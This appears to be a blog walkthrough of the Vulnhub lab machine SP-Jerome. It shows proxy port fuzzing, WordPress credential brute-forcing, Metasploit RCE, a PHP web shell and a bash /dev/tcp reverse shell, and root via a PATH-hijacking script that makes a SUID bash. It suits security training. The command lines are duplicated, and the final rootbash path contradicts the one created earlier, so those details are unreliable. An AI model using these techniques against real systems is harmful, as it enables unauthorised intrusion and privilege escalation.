July 13, 2026
Vulnhub: SP-Jerome Walkthrough
From an open Squid proxy to root via PATH hijacking in a misconfigured cronjob

By Farid Narimanov
5 min read
SP: Jerome is a great machine for practicing proxy-based enumeration, WordPress exploitation, and Linux privilege escalation through environment variable abuse. Let's dive in!
Target IP: 192.168.160.131 Goal: Obtain flag.txt and root.txt
Enumeration
Port Scanning
Starting with an nmap scan to identify open services:
nmap -sV -sC 192.168.160.131nmap -sV -sC 192.168.160.131Only one port came back open: 8080/tcp running Squid HTTP Proxy 3.5.27. Nmap flagged it as a potentially open proxy — an important detail that shapes the rest of the attack.
Navigating to port 8080 in the browser returned a Squid error page — "Invalid URL." The proxy was running but not accepting direct browser requests without a proper target URL configured.
Discovering Services Behind the Proxy
Rather than giving up, I used ffuf to fuzz ports on localhost through the proxy. By routing requests through 192.168.160.131:8080 and fuzzing http://127.0.0.1:FUZZ/, I could discover internally accessible services not visible from the outside.
ffuf -w <(seq 1 10000) -u "http://127.0.0.1:FUZZ/" -x "http://192.168.160.131:8080" -mc all -fc 503,403ffuf -w <(seq 1 10000) -u "http://127.0.0.1:FUZZ/" -x "http://192.168.160.131:8080" -mc all -fc 503,403
Two ports responded with HTTP 200: 80 and 1337. I confirmed the internal web server on port 1337 was reachable by proxying a curl request through Squid:
curl -v -x http://192.168.160.131:8080 http://127.0.0.1:1337/curl -v -x http://192.168.160.131:8080 http://127.0.0.1:1337/
The response headers revealed Apache/2.4.29 (Ubuntu) — a real web server tucked behind the proxy.
Directory Enumeration on Port 1337
With the internal service confirmed, I ran ffuf again — this time fuzzing directories on port 1337 through the proxy:
ffuf -w /usr/share/wordlists/dirb/common.txt -u "http://127.0.0.1:1337/FUZZ" -x "http://192.168.160.131:8080" -fc 404,403ffuf -w /usr/share/wordlists/dirb/common.txt -u "http://127.0.0.1:1337/FUZZ" -x "http://192.168.160.131:8080" -fc 404,403
Three paths came back: index.html, server-status, and wordpress.
WordPress Enumeration
I ran wpscan through the proxy to enumerate the WordPress instance:
wpscan --url http://127.0.0.1:1337/wordpress/ --proxy http://192.168.160.131:8080 --enumerate u,vp,vt --no-updatewpscan --url http://127.0.0.1:1337/wordpress/ --proxy http://192.168.160.131:8080 --enumerate u,vp,vt --no-update
Key findings:
- WordPress 5.0 (released 2018, flagged as insecure)
- Upload directory listing enabled —
/wp-content/uploads/was publicly browsable - Two users identified: jerome and root
Initial Access
Setting Up the Browser Proxy
To interact with the WordPress site through the browser comfortably, I configured my browser proxy settings to route traffic through 192.168.160.131:8080.
Browsing to http://127.0.0.1:1337/wordpress/ confirmed the site — "Jerome's amazing recipes."
I also confirmed directory listing was active on /wp-content/uploads/, meaning any uploaded files would be directly accessible.
Brute-Forcing WordPress Credentials
With two usernames in hand, I launched a brute-force attack using wpscan and rockyou.txt:
wpscan --url http://127.0.0.1:1337/wordpress/ --proxy http://192.168.160.131:8080 -U jerome,root -P /usr/share/wordlists/rockyou.txt --no-updatewpscan --url http://127.0.0.1:1337/wordpress/ --proxy http://192.168.160.131:8080 -U jerome,root -P /usr/share/wordlists/rockyou.txt --no-update
Result: jerome / jerome — the user's password was literally their own username.
RCE via wp_crop_rce (Metasploit)
Logged into the WordPress admin panel, I confirmed access to the Media Library and moved on to exploitation. WordPress 5.0 is vulnerable to an authenticated RCE via the image crop functionality (wp_crop_rce).
I searched for the module in Metasploit:
Selected the module and configured the options — routing everything through the Squid proxy:
The default php/meterpreter/reverse_tcp payload failed because reverse TCP connect-back payloads don't work through proxies. I set ReverseAllowProxy true and ran again — the meterpreter session opened but immediately died.
After some trial and error, switching the payload to php/reverse_php and manually setting THEME_DIR to twentynineteen resolved the issue.
A command shell session opened. I confirmed execution as jerome:
Stabilizing the Shell
The initial shell from Metasploit was unstable. I dropped a simple PHP web shell into the WordPress directory for a more stable connection:
echo '<?php system($_GET["cmd"]); ?>' > shell.phpecho '<?php system($_GET["cmd"]); ?>' > shell.php
Then sent a URL-encoded bash reverse shell through it via curl:
curl -x http://192.168.160.131:8080 "http://127.0.0.1:1337/wordpress/shell.php?cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.160.128%2F4444+0%3E%261%27"curl -x http://192.168.160.131:8080 "http://127.0.0.1:1337/wordpress/shell.php?cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.160.128%2F4444+0%3E%261%27"Caught the connection with netcat:
nc -lvnp 4444nc -lvnp 4444
Privilege Escalation
Grabbing the User Flag
Navigating to jerome's home directory:
cd ~
cat flag.txtcd ~
cat flag.txt
User flag obtained.
Post-Exploitation Enumeration
I read wp-config.php and confirmed the database credentials — also jerome:jerome. Connected to MySQL and extracted the WordPress password hashes from wp_users:
Checked the OS and kernel version:
Ubuntu 18.04.2 with kernel 4.15.0–46. I checked for pkexec but it wasn't available. Moving on to manual enumeration.
I transferred linpeas.sh to the target via a Python HTTP server:
Discovering the Cronjob
Linpeas revealed a cronjob running as root: /usr/share/simulate.sh — executed at reboot via /bin/bash.
The crontab also exposed the PATH variable starting with . (current directory):
Reading the script:
cat /usr/share/simulate.shcat /usr/share/simulate.sh
The script runs in an infinite loop, cd-ing into /home/jerome and then calling ls — without a full path. Combined with the PATH starting from . (current directory), this means: when root runs ls, the system first checks /home/jerome for an executable named ls before looking in /bin.
PATH Hijacking
I created a malicious ls script in /home/jerome:
printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /home/jerome/ls
chmod +x /home/jerome/lsprintf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /home/jerome/ls
chmod +x /home/jerome/ls
Waited for the cronjob to fire. When it did, root executed my fake ls, which copied /bin/bash to /tmp/rootbash with the SUID bit set.
I also noticed a file I_WAS_HERE appear in /home/jerome — proof the cronjob ran as root.
Running the SUID bash:
/home/jerome/rootbash -p/home/jerome/rootbash -p
Root obtained.
Thanks for reading, and happy hacking!